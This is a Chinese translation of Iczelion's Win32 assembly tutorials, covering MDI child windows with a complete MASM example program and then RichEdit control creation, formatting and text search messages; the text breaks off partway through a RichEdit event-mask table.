给 CLIENTCREATESTRUCT 结构赋值后,你可以通过调用 CreateWindowEx 用预先注册好的类名"MDICLIENT", 在lParam中传递CLIENTCREATESTRUCT结构的地址来创建客户窗口. 你同样需要在hWndParent参数中指定框架窗口的句柄, 这样Windows才可以知道框架窗口和客户窗口之间的父-子关系. 你可以使用的窗口风格有:WS_CHILD ,WS_VISIBLEHE WS_CLIPCHILDREN . 假如你忘了WS_VISIBLE的话, 即使MDI子窗口成功地创建了,你也看不到它们.

以下是创建客户窗口的步骤:

  1. 获取你所希望显示窗口列表的子菜单的句柄.
  2. 将这个菜单句柄的值和你希望作为第一个MDI子窗口标识符的值一起传送给CLIENTCREATESTRUCT 结构.
  3. 调用 CreateWindowEx 用类名"MDICLIENT" ,lParam参数为CLIENTCREATESTRUCT结构的地址,

创建MDI子窗口

现在我们既有了框架窗口,也有了客户窗口. 下一阶段可以开始创建MDI子窗口了.有两种方法:

  • 你可以发送 WM_MDICREATE消息给客户窗口,在wParam参数中传递类型MDICREATESTRUCT的结构的地址. 这是常用的也是最简单的MDI子窗口的创建方法.
    .data?
    mdicreate MDICREATESTRUCT <>
    ....
.code
    .....
    [fill the members of mdicreate]
    ......
    invoke SendMessage, hwndClient, WM_MDICREATE,addr mdicreate,0

    假如创建成功的话, SendMessage 将会返回新创建的MDI子窗口的句柄. 你并不需要保存这个句柄. 如果你需要的话, 你可以通过其它的方法来获得它. MDICREATESTRUCT有如下定义.

    MDICREATESTRUCT STRUCT
    szClass DWORD ?
    szTitle DWORD ?
    hOwner DWORD ?
    x DWORD ?
    y DWORD ?
    lx DWORD ?
    ly DWORD ?
    style DWORD ?
    lParam DWORD ?
    MDICREATESTRUCT ENDS

szClass | 你作为MDI自窗口模板的窗口类的地址
szTitle | 你希望出现在子窗口的标题栏的文本的地址
hOwner | 应用程序的例程句柄
x,y,lx,ly | 子窗口的左上角的坐标以及宽度和高度
style | 子窗口风格. 假若你用MDIS_ALLCHILDSTYLES创建子窗口的话,你可以使用任何窗口风格.
lParam | 一个应用程序定义的32位值. 这是在MDI窗口中共享值的一种方法. 如果你不需要它, 将它设为NULL.
  • 你可以调用 CreateMDIWindow. 这一个功能具有下列语法:
    CreateMDIWindow proto lpClassName:DWORD
                                           lpWindowName:DWORD
                                           dwStyle:DWORD
                                           x:DWORD
                                           y:DWORD
                                           nWidth:DWORD
                                           nHeight:DWORD
                                           hWndParent:DWORD
                                           hInstance:DWORD
                                           lParam:DWORD

如果你仔细地看一下这些参数, 你将会发现它们和MDICREATESTRUCT结构的成员是相同的, 除了 hWndParent.以外. 本质上它和你用WM_MDICREATE传送的参数数目是相同的. MDICREATESTRUCT不需要hWndParent 域, 因为你必须用Sendmessage传送整个结构给正确的子窗口. .

在这里,你也许会有一些问题: 我应该使用哪一种方法? 在这两者之间有什么区别? 答案如下:

WM_MDICREATE方法创建的MDI子窗口作为调用代码是同一个线程.这意味这假如这个应用程序只有一个主线程的话, 所有的MDI子窗口都在这个主线程中运行. 这并不是一个大的问题. 但是如果一个或是多个你的MDI子窗口执行一些较长的操作的话, 问题就来了. 想象一下你的整个的应用程序突然之间停止了,对任何事情都没有反应, 一直持续到MDI子窗口的操作结束.

这个问题正是CreateMDIWindow 设计了所要解决的. CreateMDIWindow 为每一个MDI子窗口创建了一个单独的线程. 这样假如一个MDI子窗口忙的话, 它不会拖累整个应用程序..

有关MDI子窗口的窗口过程还有一点需要说明的地方. 对于框架窗口, 你不能调用DefWindowProc来处理未处理的消息. 与之相反你必须在自窗口的窗口过程中使用DefMDIChildProc . 这个函数具有和DefWindowProc相同的参数.

除了WM_MDICREATE以外,还有其它的MDI相关的窗口消息. 列表如下:

WM_MDIACTIVATE | 这条消息由应用程序发送给客户窗口,告诉客户窗口激活所选择的MDI子窗口. 当客户窗口受到消息后, 它将激活所选择的MDI子窗口和发送WM_MDIACTIVATE消息给将被激活的子窗口和将变为非活动窗口的子窗口. 这条消息的用途是双方面的:应用程序可以用它来激活所希望的子窗口.同时它又可以被MDI子窗口本身用作活动/非活动窗口的指示器.举个例子,假如每一个MDI子窗口都有不同的菜单, 那么当它变为活动或是非活动窗口的时候,它可以利用这个机会来改变框架窗口的菜单
WM_MDICASCADE WM_MDITILE WM_MDIICONARRANGE | 这些消息处理如何排列MDI子窗口. 举个例子, 假如你希望MDI子窗口排列成层叠的样式,发送WM_MDICASCADE消息给客户窗口.
WM_MDIDESTROY | 发送这条消息给客户窗口来关闭一个MDI子窗口. 你应该使用这条消息而不是调用DestroyWindow 因为假如这个MDI子窗口最大化的话, th这条消息将会恢复框架窗口的标题. 假如你使用DestroyWindow, 框架窗口的标题将不会被恢复.
WM_MDIGETACTIVE | 发送这条消息检索当前活动MDI子窗口的句柄.
WM_MDIMAXIMIZE WM_MDIRESTORE | 发送 WM_MDIMAXIMIZE来最大化MDI子窗口和WM_MDIRESTORE来将它恢复成以前的状态. 对于这些操作总是使用这些消息. 假如你使用参数为SW_MAXIMIZE来调用ShowWindow时,MDI子窗口最大化并没有问题, 但是当你试图将它恢复成以前的状态时,问题就来了. 但是你可以用调用ShowWindow来最小化MDI子窗口.
WM_MDINEXT | 发送这条消息给客户窗口,根据wParam和lParam里相应的值来激活下一个或是前一个MDI子窗口.
WM_MDIREFRESHMENU | 发送这条消息给客户窗口来刷新框架窗口的菜单. 注意在发送了这条消息之后, 你必须调用DrawMenuBar 来更新菜单条.
WM_MDISETMENU | 发送这条消息给客户窗口来取代框架窗口的整个菜单或是窗口子菜单. 你必须使用这条消息而不是用SetMenu. 在发送了这条消息之后, 你必须调用DrawMenuBar来更新菜单条. 正常情况下当活动的MDI子窗口有它自己的菜单而且你希望用这个活动的子窗口自身的菜单来取代框架窗口的菜单时,你将使用这条消息.

我们将创建一个MDI应用程序的步骤回顾一遍.

  1. 注册窗口类, 既有框架窗口类也有MDI子窗口类.
  2. 调用CreateWindowEx创建框架窗口.
  3. 在消息循环中调用TranslateMDISysAccel 来处理MDI相关的加速键.
  4. 在框架窗口的窗口过程中, 调用DefFrameProc 处理所有你的代码没有处理的消息.
  5. 用预选定义好的窗口类名 "MDICLIENT"调用CreateWindowEx来创建客户窗口, 在lParam参数中传递CLIENTCREATESTRUCT结构的地址. 正常情况下,你可以用框架窗口过程中的WM_CREATE句柄来创建一个客户窗口.
  6. 相应的要创建MDI子窗口,你可以通过调用CreateMDIWindow 来发送WM_MDICREATE消息给客户窗口.
  7. 在MDI子窗口的窗口过程中, 我们把所有未处理的消息发送给传递给DefMDIChildProc.
  8. 假如某一条消息有它的MDI的版本,那我们就使用它的MDI版本. 举个例子, 我们使用WM_MDIDESTORY消息, 而不是使用DestroyWindow来关闭一个MDI子窗口.

例子:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU 	equ 101
IDR_CHILDMENU	equ 102
IDM_EXIT 		equ 40001
IDM_TILEHORZ	equ 40002
IDM_TILEVERT	equ 40003
IDM_CASCADE	equ 40004
IDM_NEW 		equ 40005
IDM_CLOSE	equ 40006

.data
ClassName 	db "MDIASMClass",0
MDIClientName	db "MDICLIENT",0
MDIChildClassName	db "Win32asmMDIChild",0
MDIChildTitle	db "MDI Child",0
AppName		db "Win32asm MDI Demo",0
ClosePromptMessage	db "Are you sure you want to close this window?",0

.data?
hInstance 	dd ?
hMainMenu 	dd ?
hwndClient 	dd ?
hChildMenu 	dd ?
mdicreate		MDICREATESTRUCT <>
hwndFrame 	dd ?

.code
start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    ;=============================================
    ; 注册框架窗口类
    ;=============================================
    mov wc.cbSize,SIZEOF WNDCLASSEX
    mov wc.style, CS_HREDRAW or CS_VREDRAW
    mov wc.lpfnWndProc,OFFSET WndProc
    mov wc.cbClsExtra,NULL
    mov wc.cbWndExtra,NULL
    push hInstance
    pop wc.hInstance
    mov wc.hbrBackground,COLOR_APPWORKSPACE
    mov wc.lpszMenuName,IDR_MAINMENU
    mov wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov wc.hIcon,eax
    mov wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    ;================================================
    ; 注册MDI子窗口类
    ;================================================
    mov wc.lpfnWndProc,offset ChildProc
    mov wc.hbrBackground,COLOR_WINDOW+1
    mov wc.lpszClassName,offset MDIChildClassName
    invoke RegisterClassEx,addr wc
    invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
            WS_OVERLAPPEDWINDOW or WS_CLIPCHILDREN,CW_USEDEFAULT,\
            CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,0,\
            hInst,NULL
    mov hwndFrame,eax
    invoke LoadMenu,hInstance, IDR_CHILDMENU
    mov hChildMenu,eax
    invoke ShowWindow,hwndFrame,SW_SHOWNORMAL
    invoke UpdateWindow, hwndFrame
    .while TRUE
        invoke GetMessage,ADDR msg,NULL,0,0
        .break .if (!eax)
        invoke TranslateMDISysAccel,hwndClient,addr msg
        .if !eax
            invoke TranslateMessage, ADDR msg
            invoke DispatchMessage, ADDR msg
        .endif
    .endw
    invoke DestroyMenu, hChildMenu
    mov eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    LOCAL ClientStruct:CLIENTCREATESTRUCT
    .if uMsg==WM_CREATE
        invoke GetMenu,hWnd
        mov hMainMenu,eax
        invoke GetSubMenu,hMainMenu,1
        mov ClientStruct.hWindowMenu,eax
        mov ClientStruct.idFirstChild,100
        INVOKE CreateWindowEx,NULL,ADDR MDIClientName,NULL,\
                WS_CHILD or WS_VISIBLE or WS_CLIPCHILDREN,CW_USEDEFAULT,\
                CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,NULL,\
                hInstance,addr ClientStruct
        mov hwndClient,eax
        ;=======================================
        ; 初始化MDICREATESTRUCT结构
        ;=======================================
        mov mdicreate.szClass,offset MDIChildClassName
        mov mdicreate.szTitle,offset MDIChildTitle
        push hInstance
        pop mdicreate.hOwner
        mov mdicreate.x,CW_USEDEFAULT
        mov mdicreate.y,CW_USEDEFAULT
        mov mdicreate.lx,CW_USEDEFAULT
        mov mdicreate.ly,CW_USEDEFAULT
    .elseif uMsg==WM_COMMAND
        .if lParam==0
            mov eax,wParam
            .if ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDM_TILEHORZ
                invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_HORIZONTAL,0
            .elseif ax==IDM_TILEVERT
                invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_VERTICAL,0
            .elseif ax==IDM_CASCADE
                invoke SendMessage,hwndClient,WM_MDICASCADE,MDITILE_SKIPDISABLED,0
            .elseif ax==IDM_NEW
                invoke SendMessage,hwndClient,WM_MDICREATE,0,addr mdicreate
            .elseif ax==IDM_CLOSE
                invoke SendMessage,hwndClient,WM_MDIGETACTIVE,0,0
                invoke SendMessage,eax,WM_CLOSE,0,0
            .else
                invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
                ret
            .endif
        .endif
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp

ChildProc proc hChild:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    .if uMsg==WM_MDIACTIVATE
        mov eax,lParam
        .if eax==hChild
            invoke GetSubMenu,hChildMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hChildMenu,edx
        .else
            invoke GetSubMenu,hMainMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hMainMenu,edx
        .endif
        invoke DrawMenuBar,hwndFrame
    .elseif uMsg==WM_CLOSE
        invoke MessageBox,hChild,addr ClosePromptMessage,addr AppName,MB_YESNO
        .if eax==IDYES
            invoke SendMessage,hwndClient,WM_MDIDESTROY,hChild,0
        .endif
    .else
        invoke DefMDIChildProc,hChild,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
ChildProc endp
end start

分析:

程序所做的第一件事情就是注册框架窗口类和MDI子窗口类. 作完这个以后, 程序调用CreateWindowEx来创建框架窗口.用框架窗口的WM_CREATE句柄来创建客户窗口:

    LOCAL ClientStruct:CLIENTCREATESTRUCT
    .if uMsg==WM_CREATE
        invoke GetMenu,hWnd
        mov hMainMenu,eax
        invoke GetSubMenu,hMainMenu,1
        mov ClientStruct.hWindowMenu,eax
        mov ClientStruct.idFirstChild,100
        invoke CreateWindowEx,NULL,ADDR MDIClientName,NULL,\
            WS_CHILD or WS_VISIBLE or WS_CLIPCHILDREN,CW_USEDEFAULT,\
            CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,NULL,\
            hInstance,addr ClientStruct
        mov hwndClient,eax

我们调用GetMenu来获得框架窗口的菜单的句柄, 这个句柄在调用GetSubMenu时将会被用到. 注意我们将1传递给 GetSubMenu ,因为我们希望显示窗口列表的子菜单是第二个子菜单. 然后我们给CLIENTCREATESTRUCT结构的成员赋值.
下一步我们初始化MDICLIENTSTRUCT 结构. 注意我们不需要在这里做.要初始化MDICLIENTSTRUCT结构的话,用WM_CREATE消息比较方便.

    mov mdicreate.szClass,offset MDIChildClassName
    mov mdicreate.szTitle,offset MDIChildTitle
    push hInstance
    pop mdicreate.hOwner
    mov mdicreate.x,CW_USEDEFAULT
    mov mdicreate.y,CW_USEDEFAULT
    mov mdicreate.lx,CW_USEDEFAULT
    mov mdicreate.ly,CW_USEDEFAULT

在框架窗口创建之后(也包括客户窗口), 我们调用LoadMenu从资源中获取子窗口的菜单.我们需要获取这个菜单的句柄,这样当一个MDI子菜单出现时,我们就可以用这个句柄来取代框架窗口的菜单. 在这个应用程序退出到Windows之前不要忘记调用DestroyMenu来去掉这个句柄. 正常情况下当一个应用程序退出的时候,Windows将会自动释放和窗口相关的菜单. 但是在这种情况下, 子窗口的菜单没有和任何窗口相关联, 这样即使当应用程序退出后半部 子窗口的菜单仍然会占用宝贵的内存资源.

    invoke LoadMenu,hInstance, IDR_CHILDMENU
    mov hChildMenu,eax
    ........
    invoke DestroyMenu, hChildMenu

在消息循环中我们调用TranslateMDISysAccel.

    .while TRUE
        invoke GetMessage,ADDR msg,NULL,0,0
        .break .if (!eax)
        invoke TranslateMDISysAccel,hwndClient,addr msg
        .if !eax
            invoke TranslateMessage, ADDR msg
            invoke DispatchMessage, ADDR msg
        .endif
    .endw

假如TranslateMDISysAccel 返回一个非零值, 它以为着Windows已经在处理这条消息.这样你就不需要为这条消息做任何事情了.假如返回的值为零, 那么这条消息就不是MDI相关的消息, 因此就必须按照通常情况来处理.

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .....
    .else
        invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp

注意到在框架窗口的窗口过程中, 我们调用DefFrameProc来处理我们不感兴趣的消息.

窗口过程的重要之处在 WM_COMMAND句柄. 当用户从文件菜单中选择 "New"时, 我们就创建了一个MDI子窗口.

    .elseif ax==IDM_NEW
        invoke SendMessage,hwndClient,WM_MDICREATE,0,addr mdicreate

在我们的例子中,我们通过发送WM_MDICREATE消息给客户窗口, 同时还要在lParam参数中传递MDICREATESTRUCT结构的地址来创建一个MDI子窗口.

ChildProc proc hChild:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    .if uMsg==WM_MDIACTIVATE
        mov eax,lParam
        .if eax==hChild
            invoke GetSubMenu,hChildMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hChildMenu,edx
        .else
            invoke GetSubMenu,hMainMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hMainMenu,edx
        .endif
        invoke DrawMenuBar,hwndFrame

当MDI子窗口创建后, 我们可以监视 WM_MDIACTIVATE以察看它是不是一个活动窗口.具体的方法是比较将某一个MDI子窗口的句柄和参数lParam的值进行比较, 参数lParam中包含的是活动子窗口的句柄. 这样如果两者匹配的话, 证明这个MDI子窗口就是活动子窗口. 下一步就是将框架窗口的菜单替换成MDI子窗口自身的菜单. 因为最初的菜单将会被取代, 你比学赶帮超再一次告讼Windows窗口列表将显示在哪一个子菜单. 这就是我们必须再一次调用GetSubMenu 来检索子菜单的句柄的原因. 我们发送 WM_MDISETMENU消息给客户窗口来获得想要的结果. WM_MDISETMENU中的wParam参数包含了你希望取代最初的菜单的菜单句柄. lParam参数包含的是你希望用来显示窗口列表的子菜单的句柄.在发送了WM_MDISETMENU之后, 我们调用l DrawMenuBar 来刷新菜单, 否则的话你的菜单将会是一片混乱.

    .else
        invoke DefMDIChildProc,hChild,uMsg,wParam,lParam
        ret
    .endif
在MDI子窗口的窗口过程中, 你必须传送所有未处理的消息给DefMDIChildProc而不是DefWindowProc.
    .elseif ax==IDM_TILEHORZ
        invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_HORIZONTAL,0
    .elseif ax==IDM_TILEVERT
        invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_VERTICAL,0
    .elseif ax==IDM_CASCADE
        invoke SendMessage,hwndClient,WM_MDICASCADE,MDITILE_SKIPDISABLED,0

当用户在窗口子菜单中选择一个菜单项时, 我们发送相应的消息给客户窗口. 假如用户选择平铺窗口, 我们发送 WM_MDITILE 给客户窗口, 在wParam参数中指定哪一种类型的平铺. 选择重叠的话是类似的, 相应的发送WM_MDICASCADE..

    .elseif ax==IDM_CLOSE
        invoke SendMessage,hwndClient,WM_MDIGETACTIVE,0,0
        invoke SendMessage,eax,WM_CLOSE,0,0

假如用户选择 "Close" 菜单项, 我们首先必须通过发送WM_MDIGETACTIVE给客户窗口来获得当前活动的MDI子窗口的句柄, 返回的值保存在eax寄存器中, 这个值就是当前活动MDI子窗口的句柄. 获得句柄之后, 我们就可以发送WM_CLOSE给那个窗口了.

    .elseif uMsg==WM_CLOSE
        invoke MessageBox,hChild,addr ClosePromptMessage,addr AppName,MB_YESNO
        .if eax==IDYES
            invoke SendMessage,hwndClient,WM_MDIDESTROY,hChild,0
        .endif

在MDI子窗口的窗口过程中, 当收到WM_CLOSE的消息时, 就会显示一个消息框询问用户是否确实想关闭着这个窗口. 假如回答是"是"的话, 我们发送WM_MDIDESTROY给客户窗口. WM_MDIDESTROY关闭MDI子窗口,然后恢复框架窗口的标题.

翻译：XieJacky，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

教程 33: RichEdit 控件基础知识

有很多人要求我提供关于RichEdit控件的指南，经过这方面的大量编程实践，我想我终于可以开写关于RichEdit控件的指南了。诺，这个就是第一篇RichEdit指南。本指南将会描述涉及到RichEdit的几乎所有方面，起码是我所知道的关于它的所有方面。因为指南的信息量相当相当的大，所以我将它分成了几个部分，本篇是第一部分。在这篇指南里，你将会了解到什么是RichEdit控件，怎样创建它，怎样往里面载入数据和保存里面的数据。

下载 例程.

理论

A richedit control can be thought of as a souped-up edit control. 它提供了普通简单Edit控件所缺少的很多令人合意的功能，譬如可以使用多种字体和字体大小，多级Undo/Redo,文本搜索，内嵌OLE对象，编辑的拖放支持等等。由于RichEdit控件有这么多功能，因此它独存于一个单独的DLL文件。这个意味着如果你要使用RichEdit控件，就不能象使用其他普通控件那样只调用InitCommonControls 函数。你必须先使用 LoadLibrary 来载入RichEdit DLL文件。

这里有个问题，就是至今为止RichEdit控件共有3个版本，版本1，2和3。下面的表格显示了每个版本的相应的DLL文件名。

DLL Name | RichEdit version | Richedit Class Name
Riched32.dll | 1.0 | RICHEDIT
RichEd20.dll | 2.0 | RICHEDIT20A
RichEd20.dll | 3.0 | RICHEDIT20A

你会注意到版本2和3都使用了相同的DLL文件名，而且它们也使用了相同的类名！这样在你想要明确的使用RichEdit 3.0的功能的时候就会产生问题. 到目前为止,我还找到一个正式的方法来区分版本2.0和3.0.不过,有个解决方法工作良好，我会在后面演示给你看.

.data
   RichEditDLL db "RichEd20.dll",0
    .....
.data?
    hRichEditDLL dd ?
.code
    invoke LoadLibrary,addr RichEditDLL
    mov hRichEditDLL,eax
    ......
    invoke FreeLibrary,hRichEditDLL

当Richedit DLL文件被载入时,它会注册 RichEdit 窗口类,因此需要在你创建Richedit控件之前必须先要载入DLL.Richedit控件的类名是不同的。现在你可能会有一个问题要提:我怎么样才能够知道我要使用哪个版本的Richedit控件?如果你不需要使用那些特别的功能,使用最新的版本也不定是最适宜的.下面的表格列出了每个RichEdit版本提供的功能.

功能 | 版本 1.0 | 版本 2.0 | 版本 3.0
选择条 | x | x | x
Unicode 编辑 |  | x | x
字符段落格式 | x | x | x
文本搜索 | 向前搜索 | 向前/向后搜索 | 向前/向后搜索
内嵌OLE | x | x | x
拖放编辑 | x | x | x
Undo/Redo | 单级 | 多级 | 多级
自动 URL 识别 |  | x | x
加速键支持 |  | x | x
非窗口操作 |  | x | x
分行符 | CRLF | CR | CR (可以模拟1.0版本)
Zoom |  |  | x
Paragraph numbering |  |  | x
simple table |  |  | x
normal and heading styles |  |  | x
underline coloring |  |  | x
hidden text |  |  | x
font binding |  |  | x

上面的表格不是全面的:我只是列出了那些重要的功能.

创建RchEdit 控件

载入DLL文件后,你可以调用CreateWindowEx 来创建RichEdit控件,创建控件时你可以使用Edit控件风格和普通窗口风格,但是ES_LOWERCASE, ES_UPPERCASE 和 ES_OEMCONVERT 风格除外.

.const
    RichEditID equ 300
.data
    RichEditDLL db "RichEd20.dll",0
    RichEditClass db "RichEdit20A",0
    ...
.data?
    hRichEditDLL dd ?
    hwndRichEdit dd ?
.code
    .....
    invoke LoadLibrary,addr RichEditDLL
    mov hRichEditDLL,eax
    invoke CreateWindowEx,0,addr RichEditClass,WS_VISIBLE or ES_MULTILINE or WS_CHILD or WS_VSCROLL or WS_HSCROLL, \
                                        CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
    mov hwndRichEdit,eax

设置缺省的文本和背景颜色

在使用Edit控件时设置文本和背景颜色可能有点问题,但是在RichEdit控件中已经修正了这个问题.要设置RichEdit的背景色,你要发送 EM_SETBKGNDCOLOR 消息给RichEdit控件.这个消息具有以下语法.

wParam == 颜色选项. 如果是0说明Windows使用 lParam 中的颜色值作为背景色.如果该参数不为0,Windows使用系统背景色.因为我们要发送该消息来改变背景色,所以我们必须令wParam为0.
lParam == 指定要设置的颜色的 COLORREF 结构,仅当 wParam 为 0 时才有效.

譬如, 如果我要设置背景为纯蓝色,我需要写入以下代码:

        invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,0FF0000h

要设置文本颜色,RichEdit控件提供了另外的新消息,EM_SETCHARFORMAT来做这个工作. 这个消息控制控件中一段选定的文本或者全部正文的格式. 这个消息的语法如下:

wParam == 格式选项:

SCF_ALL | 本次操作影响控件中全部文本.
SCF_SELECTION | 本次操作仅影响选定的文本
SCF_WORD or SCF_SELECTION | 本次操作仅影响所选定的那个单词. 如果选定是空的话，仅将插入点(光标)设置到指定字的位置. SCF_WORD 标志必须跟 SCF_SELECTION 一起使用.

lParam == CHARFORMAT 或者 CHARFORMAT2 结构的指针,说明要使用的正文格式. CHARFORMAT2 只在 Richedit 2.0 和更高版本才提供.这个不是说在RichEdit 2.0以后你一定要使用 CHARFORMAT2 . 如果你不需要使用到 CHARFORMAT2 中新加的功能, 你仍然可以使用CHARFORMAT .

CHARFORMATA STRUCT
    cbSize DWORD ?
    dwMask DWORD ?
    dwEffects DWORD    ?
    yHeight DWORD ?
    yOffset DWORD ?
    crTextColor COLORREF ?
    bCharSet BYTE ?
    bPitchAndFamily    BYTE ?
    szFaceName BYTE LF_FACESIZE dup(?)
    _wPad2 WORD ?
CHARFORMATA ENDS
Field Name | Description
cbSize | 该结构的大小. RichEdit控件使用该域来判断该结构的版本是 CHARFORMAT 还是 CHARFORMAT2
dwMask

位标记, 用来指定下面的那些成员是有效的.

CFM_BOLD | dwEffects 成语中的 CFE_BOLD 值是有效的.
CFM_CHARSET | bCharSet 成员是有效的。
CFM_COLOR | crTextColor 成员跟 dwEffects中的 CFE_AUTOCOLOR 值是有效的.
CFM_FACE |


Iczelion's win32 asm tutorial

教程 34: RichEdit 控件：更多的正文操作

你将会了解到关于的RichEdit更多的正文操作。特别是你将会学习到如何搜索/替换正文，定位到某一指定的行号。

下载 例子程序.

Theory

Searching for Text

RichEdit 控件具有几种正文操作，搜索指定正文就是其中的一种。搜索正文是通过发送 EM_FINDTEXT 或者 EM_FINDTEXTEX 消息来完成的。这两个消息有一点很小的不同点。

EM_FINDTEXT
wParam == 搜索选项。 可以是下表中的任意组合值。这些选项对 EM_FINDTEXT 和 EM_FINDTEXTEX 都是一样的。
FR_DOWN 如果指定了这个标志值，搜索操作从当前选定的 end 位置开始，直到控件中正文的 end 位置结束(向下搜索)。这个标志仅影响 RichEdit 2.0 和以后版本: 这个是 RichEdit 1.0 的缺省行为。RichEdit 2.0 或以后版本的缺省行为是在当前选定正文内的从结尾搜索到开始位置(向前搜索)。
概括来说就是，如果你使用 RichEdit 1.0, 无论你做什么都没法影响搜索的方向：它总使用向后搜索。但是如果你使用 RichEdit 2.0 而且你想使用向后搜索的话，你必须指定这个标志值，否则使用的是向前搜索了。
FR_MATCHCASE | 如果指定了这个标志值，搜索操作是大小写敏感的，即区分大小写。
FR_WHOLEWORD | 如果设置了这个标志值，搜索操作就搜寻匹配指定搜索串的整个词。
实际上，还有更多的标志值，但是它们都是跟非英语系正文操作相关的。
lParam == FINDTEXT 结构的指针。

            FINDTEXT STRUCT
              chrg          CHARRANGE  <>
              lpstrText     DWORD      ?
            FINDTEXT ENDS

chrg 是一个 CHARRANGE 结构，其定义如下：

            CHARRANGE STRUCT
              cpMin  DWORD      ?
              cpMax  DWORD      ?
            CHARRANGE ENDS

cpMin 包含字符数组中第一个字符的字符索引。
cpMax 包含紧跟在字符数组中最后一个字符的字符的字符索引。

基本上，要搜索一个正文串，你必须指定要搜索的字符范围。
cpMin 和 cpMax 的具体意义根据搜索是向后还是向前是不同的。
如果是向后搜索，cpMin 指定搜索的开始字符索引，而 cpMax 则是结束字符索引。
如果是向前搜索，则反过来才对，也就是说 cpMin 包含结束字符索引而cpMax 包含开始字符索引。

lpstrText 是要搜索的正文串的指针。

EM_FINDTEXT 返回控件中跟搜索串匹配的的正文串的一个字符的索引。如果没找到匹配的则返回 -1。

EM_FINDTEXTEX
wParam == 搜索选项，跟 EM_FINDTEXT 的一样。
lParam == FINDTEXTEX 结构的指针。

            FINDTEXTEX STRUCT
              chrg          CHARRANGE  <>
              lpstrText     DWORD      ?
              chrgText	CHARRANGE <>
            FINDTEXTEX ENDS

FINDTEXTEX 中开始的两个成员是跟 FINDTEXT 结构中的一样的。
chrgText 是一个 CHARRANGE 结构，如果搜索到匹配串的话，其开始/结束字符索引会被填入这个结构中。

EM_FINDTEXTEX 的返回值跟 EM_FINDTEXT的是一样的。

EM_FINDTEXT  跟  EM_FINDTEXTEX 的不同处是 FINDTEXTEX 结构有一个另外的chrgText成员, 如果搜索到匹配串的话，
其开始/结束字符索引会被填入这个成员中。如果我们想对这个正文串进行更多的正文操作的话，有这个就方便多了。

替换/插入正文

RichEdit 控件提供了 EM_SETTEXTEX 来进行正文替换/插入操作。这个消息混合了 WM_SETTEXT 和 EM_REPLACESEL 的功能. 它具有以下语法：

    EM_SETTEXTEX
    wParam == SETTEXTEX 结构的指针。

            SETTEXTEX STRUCT
              flags          DWORD      ?
              codepage       DWORD      ?
            SETTEXTEX ENDS

    flags 可以是以下值的组合:
ST_DEFAULT | 删除Undo堆栈,丢弃RTF格式，替换所有的正文。
ST_KEEPUNDO | 保留Undo堆栈。
ST_SELECTION | 替换选定正文并且保留RTF格式
    codepage 是一个常量，指定你的正文想要的代码页。我们通常简单的使用 CP_ACP。

正文选择

我们可以使用消息 EM_SETSEL 或者 EM_EXSETSEL 来编程选择正文.其中任意的一个都可以工作的很好。要使用哪一个消息要根据可用的字符索引格式来选择。如果它们保存在一个 CHARRANGE 结构中，则使用 EM_EXSETSEL更容易实现。

    EM_EXSETSEL
    wParam == 没有使用，必须为 0 。
    lParam == CHARRANGE 结构的指针，包含想要选定的正文字符范围。

事件通知

在使用多行Edit控件时，你必须子类化它以便得到输入信息象鼠标/键盘事件等。RichEdit 控件提供了一个更好的方案，它可以把这些消息通知父窗口。为了注册得到通知消息，父窗口发送 EM_SETEVENTMASK 消息给 RichEdit 控件，指定它对哪些消息感兴趣。 EM_SETEVENTMASK 具有以下的语法：

    EM_SETEVENTMASK
    wParam == 没有使用，必须为 0 。
    lParam == 事件掩码值。他可以是以下表格里标志值的任意组合。
ENM_CHANGE | 发送 EN_CHANGE 通知
ENM_CORRECTTEXT | 发送 EN_CORRECTTEXT 通知
ENM_DRAGDROPDONE | 发送 EN_DRAGDROPDONE 通知
ENM_DROPFILES | 发送 EN_DROPFILES 通知
ENM_KEYEVENTS | 为键盘消息发送 EN_MSGFILTER 通知
